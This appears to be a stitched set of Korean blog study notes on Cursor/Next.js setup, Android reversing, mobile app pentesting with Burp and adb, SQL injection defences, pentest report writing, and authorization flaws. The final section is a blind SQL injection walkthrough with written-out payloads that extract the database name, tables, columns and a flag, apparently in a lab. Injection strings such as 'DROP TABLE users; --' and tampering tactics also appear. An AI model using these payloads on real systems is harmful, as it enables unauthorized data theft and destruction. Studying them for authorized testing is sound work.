cli를 통해 깃허브 설치

cli.github.com

다운로드 후 설치

cursor 터미널에서 설치 확인

gh --version

gh version 2.64.0 (2024-12-20)
https://github.com/cli/cli/releases/tag/v2.64.0

위와 같이 버전이 뜨면 설치가 잘 된 것.

깃허브 로그인

gh auth login

github.com
https
login with a web browser
뜨는 원타임코드 잘 복사해 두기 -> 로그인 진행

'개발 > ai driven development' 카테고리의 다른 글

cursor에 next.js 세팅  (0) 2025.01.27

터미널

npx shadcn@latest init

What is your project named?
이미 폴더를 생성했으므로, 이 폴더에 바로 설치한다는 뜻으로 콤마를 넣으면 된다. .

Which style would you like to use? » New York (shadcn 스타일)

Which color would you like to use as the base color? » Zinc


next.js 서버 실행

npm run dev

 

  ▲ Next.js 14.2.16
  - Local:        http://localhost:3000

 ✓ Starting...
 ✓ Ready in 12.2s

 

위와같이 출력되고, http://localhost:3000 로 정상 접속된다면 완료.

'개발 > ai driven development' 카테고리의 다른 글

cursor] github 설치 및 로그인  (0) 2025.01.27

Android App

툴 :
jadx-gui
-> compile

프로그래밍 언어 -> binary
Android 앱은 JAVA 기반이다.

** 교양
JAVA가 처음 나왔을 때,  환호함

> 마법의 언어다!

> 왜? 멀티 플랫폼 언어이기 때문 (하나의 코드로 멀티 OS에서 실행됨.)

JAVA -> class (java assem) -> JVM (자바 가상머신)
JVM 위에서 JAVA 프로그램이 돌아가는 것.

단, 모바일 버전에서는 class를 사용하지 않음.

JAVA > smali (android assem) -> dex
dex파일이 android 실행 파일 이다.
역으로 원상 복구가 가능한 파일이다. -> jadx 툴
(소스코드를 우리가 볼 수 있다.)

APK 파일 -> 압축 파일 (복호화가 필요함. 위 툴에 올리면 자동 복호화까지 가능함.)

APK 파일 설치할 때, adb 사용하면 됨.
adb install 파일명 > 녹스에서 실행

Android App
Acrivity : 하나의 화면
-> JAVA이기 때문에 이것도 class 임.

실행할 화면 만들고, 그 위에 Activity 만드는 것.

첫 화면이 로그인이라면, 버튼 클릭했을 때 어떤 코드가 실행되는가?
가장 먼저 실행되는 Acrivity가 무엇인지 찾아내야 함.

AndroidManifest.xml : 이 앱에 관한 설정이 모두 들어가있는 파일임.
- App 식별자 (가 무엇인지 정의되어 있음.)
package="com.insecureshop" -> 이게 식별자(앱 이름)임.

- 권한 (볼 수 있다)
- Activity 각각의 activity 정의 되어 있음.
- 태그 중
android.intent.acrion.MAIN
- 앱을 실행했을 때 가장 먼저 실행되는 화면임. activity
- 해당 코드를 찾으면 주목해야 할 것
onCreate (앱 실행하자마자 가장 먼저 실행되는 함수)

 

 


 

앞으로 공부는..

# Mobile App 개발하기!
Android : Java 로 개발 추천
iOS : Swift
> 커뮤니티 + 자동로그인 기능 구현

# Mobile APP
## DVIA Android
## DIVA iOS


## Frida
DBI (동적으로 바이너리를 조사하는 툴)

함수 후킹을 쉽게 할 수 있다.
(코드의 흐름을 바꿀 수 있다. 내가 짠 코드를 집어넣을 수 있음.)

### 공부하기 좋은 사이트 :
[fridalab]
https://rossmarks.uk/blog/fridalab/
1번부터 8번까지 문제
답 풀이 보면서 공부 > 정리 > 문제 풀기
익혀보는 단계임.

[frida-labs]
https://github.com/DERE-ad2001/Frida-Labs
 워게임
 이건 답 보지 말고 직접 풀기

이것만 제대로 하면 됨.


iOS는 디컴파일이 없음. 
IPA - binary (그냥 C언어 코드임.)
실행파일 > IDA 무료버전 (마음에 안들면 ghidra 사용하면 됨. 기드라는 어셈블리어 | 대략의 C 언어 코드로 디컴파일 됨.)

내가 만든 앱을 내가 디컴파일 해보면 읽는 게 어렵지 않음.

 

 

모바일 해킹 vs 모바일 앱 해킹

 

1. 모바일 해킹

스마트폰 자체를 해킹하는 것.

예) 카메라 제어, 메시지 훔쳐보기, 녹음기능 활성화 등 

 

운영체제를 해킹해야 한다. Android / iOS

 

페가수스 멀웨어 (스파이앱)을 사용한다.

 

2. 모바일 앱 해킹

모바일 안에 설치한 앱들을 해킹하는 것.

예) 카카오톡 해킹 : 다른 사람의 채팅을 읽거나, 구매하지 않은 이모티콘을 사용하거나 등

 


 

취약점은 크게 두 부류로 나뉜다.

 

서버 측 취약점, 단말기 취약점

 

 

1. 서버 측 취약점

앱 서버를 해킹한다.

 

단말기와 앱 서버는 HTTP 통신(웹 통신)을 한다.

이는 많은 기업들이 구축해 둔 웹 사이트의 웹 서버의 API를 그대로 가져다 쓰기 때문이다.

통신이 깔끔하고, 구현이 쉽다는 장점이 있다.

 

[통신에 따른 모바일 앱]

1) 웹 앱 : 웹 사이트를 그대로 모바일로 연결한 것 (반응형)

2) 하이브리드 앱 : API를 HTTP로 구현한 것 (대부분이 하이브리드앱이다.)

3) 네이티브 앱 : TCP 통신을 사용한다.

 

[통신에 따른 모바일 앱 해킹하는 법]

1) 웹 앱 :

Burp 사용. 웹 앱과 동일하다.

 

2) 하이브리드 앱 :

Burp 사용.

단말기와 PC를 연결해야 한다. (유선 or 녹스)

 

Burp 세팅은 다음과 같이 한다.

 

프록시 세팅 > 프록시 리스너(포트 열고 중간자로서 지켜봄)

> Add > Bind to port > 원하는 포트 번호 적기

 

 이때 모바일은 컴퓨터와 같은 wifi 망에 있어야 한다.

스마트폰 안에서 wifi 설정 > 프록시 구성(설정) > 192.168.0.1 9999 (pc의 내부 ip 적기)

 

인증서 설치 : https 통신 하려면 burp의 인증서가 핸드폰에 설치 되어 있어야 한다.

(구글링 android/ios burp 인증서 설치)

 

3) 네이티브 앱

TCP 통신을 하기 때문에 쉽지 않다.

실무에선 아주 가끔 만날 것.

 

NoPE 모듈 :

Burp에 NoPE 모듈이 있다.

Nope-Proxy를 설치하면 Burp에 탭이 하나 더 생긴다.

사용 설명서 보고 따라 하면 된다.

 

중간에서 데이터를 가로채서 봐야 하는데, 그러려면 내 컴퓨터를 거쳐서 가게 해야 한다.

이때는 DNS를 건드린다.

 

예) tcp.segfault.com (DNS 서버 인척하기)

 

 

frida :

모바일 앱 후킹 (동적 분석 툴)


 

2. 앱 단말기 취약점

 

[접근 방법]

- 메모리

- 저장 공간

에 사용자 정보가 평문으로 저장되어 있는지 보는 것.

해킹 당하거나, 단말기를 탈취당했을 때 노출되지 않기 위한 보호 조치

 

- 앱의 흐름 제어

하여 문제가 있는 행동을 할 수 있는지? 확인하기

예) 모바일 앱 게임 - 점수 조작, 재화 소모해야 이용할 수 있는 기능을 무료로 이용 한다던지..

 

 

[메모리, 저장 공간 찾는 방법]

 

스마트폰 OS(android, iOS 모두 linux 기반이다.)

> 핸드폰의 터미널로 들어가자.

 

쉘 들어가는 방법 : adb

구글링 ) adb 설치 방법, adb 다운로드 방법

 

폰과 PC 유선 연결하여 adb 접속 가능함.
녹스라면, 
adb connect 127.0.0.1:62001
adb shell

data/data
나오는 것들이 하나하나가 앱임.

 


 

[환경 세팅]

 

- 루팅 / 탈옥 반드시 필요함.
root 권한 획득(에 목적이 있는 행동)

 

iPhone :

최신 버전이 아니어야 한다.

각 버전별로 취약점이 존재하며, 그걸 이용해서 탈옥한다.

아직 탈옥이 없는 상태라면 기다려야 한다.

 

Adroid : 

핸드폰으로 해도 되고, 녹스가 가능하다면 녹스로 진행해도 된다.

 

 

[상세설명]

사용자가 간섭 가능한 매개변수(URL 파라미터, XML 등)에 의해 SQL 질의문이 완성되는 점을 이용하여, 해당 매개변수 변조를 통해 비정상 질의 가능 여부를 점검


[평가 예시] 

- URL 파라미터 또는 XML 등 입력하는 부분에 SQL 구문 입력 후 서버에서 응답한 값에 대한 위험성 점검
- SQL문으로 해석될 수 있는 값(글번호, 검색 내용 등)을 입력하여 데이터베이스내에 저장된 정보 열람 및 시스템 명령 실행가능 여부 점검
- 조작된 XPath 쿼리를 보내어 비정상적인 질의 가능 여부 점검 등

 


 

[종류]

1. Union SQLi

: SQL 질의 결과가 화면에 출력되는 경우

 

2. Error Based SQLi

: SQL 에러가 발생하는 경우

 

3. Blind SQLi

: 위 두 가지 방식으로 확인이 불가능 한 경우 최후의 보루!

 

 

[SQL Injection이 발생하는 곳]

DB에게 SQL 질의문을 사용하는 곳

 

파라미터를 통해 SQL문(참, 거짓)을 넣어보면서 인젝션이 가능한지 여부를 확인할 수 있다.

 

취약점을 찾을 때에는! 서버 측에서 어떤 SQL 질의문이 완성되는지를 생각해봐야 한다.

 

자주 발생하는 곳 :

order by절

 


 

[공격 시나리오]

1. 인증 우회

SQL Injection을 통해 비밀번호 체크 로직을 우회하여 인증 없이 로그인

 

2. 정보 유출

SQL Injection을 통해 DB에서 민감한 정보를 추출

 


 

[대응 방법]

1. Prepared Statement

SQL 쿼리에 사용되는 파라미터를 별도로 분리하여 처리하는 방식.

이것으로 대부분 해결이 된다.

 

 

다만 다음 케이스에서 적용이 안 되기 때문에 주의해야한다.

 

case1. order by

Order by 절은 쿼리 결과를 정렬하는데 사용되는데, Prepared Statement를 사용하더라도 Order by 절에 대한 파라미터를 완전히 분리할 수 없다.

예를 들어, "SELECT * FROM users ORDER BY ?" 와 같은 쿼리에서 ? 자리에 "name; DROP TABLE users; --" 와 같은 값이 들어올 경우 Prepared Statement로는 막을 수 없다. 이는 Order by 절이 컬럼명, 컬럼 순서, 별칭 등 다양한 방식으로 지정될 수 있어 단순 파라미터 분리가 어렵기 때문이다.

 

따라서 파라미터에 sort나 ord가 있다면 무조건 확인해봐야 한다.

 

Case2. table이름, coloum 이름

테이블명, 컬럼명은 쿼리 구조에 해당하는 값이기 때문에 단순 파라미터로 분리하기 어려운 특성이 있다.

예를 들어, "SELECT * FROM ? WHERE id = ?"와 같이 테이블명을 파라미터로 받는 경우, 첫번째 ?에 "users; DROP TABLE users; --"와 같은 값이 들어오면 쿼리 조작이 가능하다.

 

2. White List Filtering

Prepared Statement를 사용하지 못하는 위 두 케이스의 경우 허용하는 특정 단어만 쓸 수 있도록 필터링을 하여 대응한다.

 

Order by 절: 

허용되는 컬럼명을 White List로 관리하고, 파라미터로 전달되는 값이 White List에 존재하는지 확인

 

테이블명/컬럼명: 

허용되는 테이블명/컬럼명을 White List로 관리하고, 파라미터로 전달되는 값이 White List에 존재하는지 확인

 

만약 White List 관리가 어려운 경우에는 파라미터로 전달되는 값에 대해 알파벳, 숫자, 언더바(_) 외의 문자가 존재하는지 검사하는 블랙리스트 방식의 필터링을 적용할 수도 있다.

 

 

 

보고서 개요

보고서는 다음과 같은 구조로 작성한다.

 

1. 모의해킹 수행 정보

  1.1 개요

  1.2 대상

  1.3 수행 기간

  1.4 수행 인력

  1.5 취약점 점검 항목

 

2. 모의해킹 결과

  2.1 총평

  2.2 결과 요약

 

3. 취약점 상세 내용

  3.1 도메인

    3.1.1 SQL Injection 등..

 

4. 보안 권고안

  4.1 SQL Injection

 

 


 

1.5 취약점 점검 항목

 

보통 주통기반, 금취분평 등 클라이언트가 요청하는 방식으로 진행하게 된다.

 

 


 

2. 모의해킹 결과

보안 담당자가 보는 정보이다.

 

총평 : 내가 클라이언트에게 내리는 진단으로서, 이러이러한 문제가 있으니, 이렇게 해결해 주세요. 의 내용이 들어가면 된다. 보통 1~2페이지 정도이다.

 

결과 요약 : 어떤 취약점이 나왔는지 리스트, 도메인이 여러개더라도 합쳐서 작성한다.

 


 

3. 취약점 상세 내용

개발자가 보는 정보이다.

이걸 보고 취약점을 수정해야 하기 때문에, 친절하고 자세히 작성해준다.

 

또한 이 취약점들을 보완한 후 이행점검을 나가는 데, 그 때 이 보고서를 기반으로 이행점검 하기 때문에

그 분들 (내가 될 수도 있지만, 보통은 다른 분이 작업하게 된다.)을 위해서라도 친절하게 작성해 두는 것이 좋다.

 

취약점 상세 내용에 있는 보안 권고안은 개발자에게 얘기해 주는 것이기 때문에, 이 취약점은 이렇게 고치세요를 적어준다. 이 부분이 진짜 컨설팅이다.

 


 

문서의 제목

 

@@@ 모의해킹 결과 보고서_20**0304_v0.8.doc

 

최종 완성본일 때 v1.0을 붙인다.

완성 전 보고서를 동료에게 전달할 때는 완성된 퍼센테이지만큼 표기하는 게 좋다.

 

 


당연한 기본

 

- 말투를 통일한다. (가능하면 존댓말)

- 맞춤법이 틀리지 않도록 주의한다. (맞춤법 검사기를 활용하라.)

 

 

상대는 천만 원이 넘는 돈을 내고 받는 컨설팅의 결과물로 받는 보고서이니 만큼, 정말 잘 썼다 라는 생각이 들 만큼 신경써서 작성하자.

 

인증 Athentication

:  그 사람 본인이 맞는지 확인하는 작업

 

- 인증 과정에서 일어나는 취약점

- 인증을 무시하는 공격

 

인가 Athorization

: 특정인에게 특정 권한을 부여하는 것

 

- 원래는 못해야 하는 것을 하는 것.

 

 

두 가지는 어디에 방점을 두냐에 따라 혼용해서 해석되기도 한다.

 

 


 

 

인가 취약점에 대한 전략

: 로직 설계의 헛점을 찾는 것.

 

1. 파라미터 변조

2. 직접 접근

 

 


 

케이스 분석

주석으로 접근을 제한하는 케이스 (클라이언트 측 인가, 권한 체크)

주석이 아닌, CSS로 display:none; 이 되어있을 수 있다.

 

이 경우 Response 변조를 통해서 공략한다.

 

 

인가 체크를 클라이어트 측에서 하고 있는 경우

실행되는 자바스크립트로 찾아갈 수 있어야 한다.

 

 

확인/검사/검증 하는 것들은 모두 보안을 위해 서버측에서 진행해야 한다.

클라이어트에서 진행할 것들은 편의성 기능들 (이메일 주소 중 @가 있는지 체크하는 정도의 간단한 것들)만 해야 한다.

위 취약점이 있다면 모두 우회가 가능하다.

 

 

위 취약점이 있으나, javascript가 난독화 되어 있는 경우

1. 읽을 수 있도록 복구 시키던지

2. 동적 분석을 진행한다.

 

정적 분석 : 실행하지 않고, 코드를 읽으면서 분석

동적 분석 : 분기문을 중점으로 코드를 직접 실행해보면서 분석

 

 

Gusssing 공격

추측을 통해 취약점을 찾는 것. (파라미터 변조)

 

이를 통해,

관리자(혹은 그 글쓴이) 외에는 못들어가는 페이지를 들어가거나,

보이지 않는 버튼을 누를 수 있다.

 

간단히 CSS나 주석을 통해서 안 보이게 해뒀을 수도 있고,

서버에서 필터링 해서 아예 안 보일수도 있다.

 

 

파라미터 변조 공격은 인가 취약점을 다룰 때 자주 사용하는 기법이다.

 

예)

다른 사람의 게시글 삭제 (내 글 삭제 시, 패킷을 intercept 후 다른 사람의 게시글 번호를 넣어 삭제하는 경우)

다른 사람의 정보 읽어오기

1:1 게시판 다른 사람 문의인데 보기

비밀글 읽기

 

 

Blind SQL Injection 공격 순서

 

1. SQL Injection Point 찾기

참과 거짓 조건을 통해 SQLi가 가능한지 여부를 체크한다.

 

normaltic' and ('1'='1') and '1' = '1
normaltic' and ('1'='2') and '1' = '1

 

 

2. Select 문구가 먹히는지 확인

normaltic' and ((select 'test')='test') and '1' = '1

 

 

3. 공격 Format을 준비한다.

normaltic' and () and '1' = '1

부분에 조건을 넣을 수 있다.

 

 

4. substr함수를 이용하여 한 글자씩 찾아낸다.

 

substr() : 글자를 잘라주는 함수

예시) 글자가 test 일 때,
  substr('test',1,1) -> 't'
  substr('test',1,2) -> 'te'
  substr('test',2,1) -> 'e'

 

sebstr((),1,1)
에 SQL Select문을 넣는다.

sebstr((select 'test'),1,1) = 't'

 

normaltic' and (substr((select 'test'),1,1) = 't') and '1' = '1

 

 

5. ascii 코드를 활용하여 한 글자씩 찾아낸다.

 

normaltic' and (ascii(substr((),1,1)) > 0) and '1' = '1

normaltic' and (ascii(substr((select 'normaltic'),1,1)) > 70) and '1' = '1

 

글자를 숫자로 대입이 가능한 ascii 코드를 활용한다.

업다운 게임 방식으로 빠르게 찾을 수 있다.


예시) 100 이하의 숫자 빠르게 찾기

50 > 75 > 87 > ...

 

ascii('a') = 97

 

 

6. DB 찾기 : select database()

 

normaltic' and (ascii(substr((select database()),1,1)) > 70) and '1' = '1

 

 

7. table 찾기

select table_name from information_schema.tables where table_schema = "DB이름" limit 0,1

 

normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema = "DB이름" limit 0,1)) > 70) and '1' = '1

 

 

8. Column 찾기

select column_name from information_schema.columns
where table_name = '테이블이름' limit 0,1

 

normaltic' and (ascii(substr((select column_name from information_schema.columns
where table_name = '테이블이름' limit 0,1)) > 70) and '1' = '1

 

 

9. DATA 확인

[추출식] : select flag from flagTable limit 0,1

[대입] : normaltic' and (ascii(substr((select flag from flagTable limit 0,1),1,1)) > 0) and '1' = '1

 

Flag가 있는 테이블 네임과 컬럼을 활용하여 데이터 추출을 진행한다.

 


 

 

Blind SQL Injection이 처음이라면, 꼭 수동으로 풀어보자.

그 이후 Burp의 리피터 혹은 Python 등으로 자동화 구축해서 진행하자.

+ Recent posts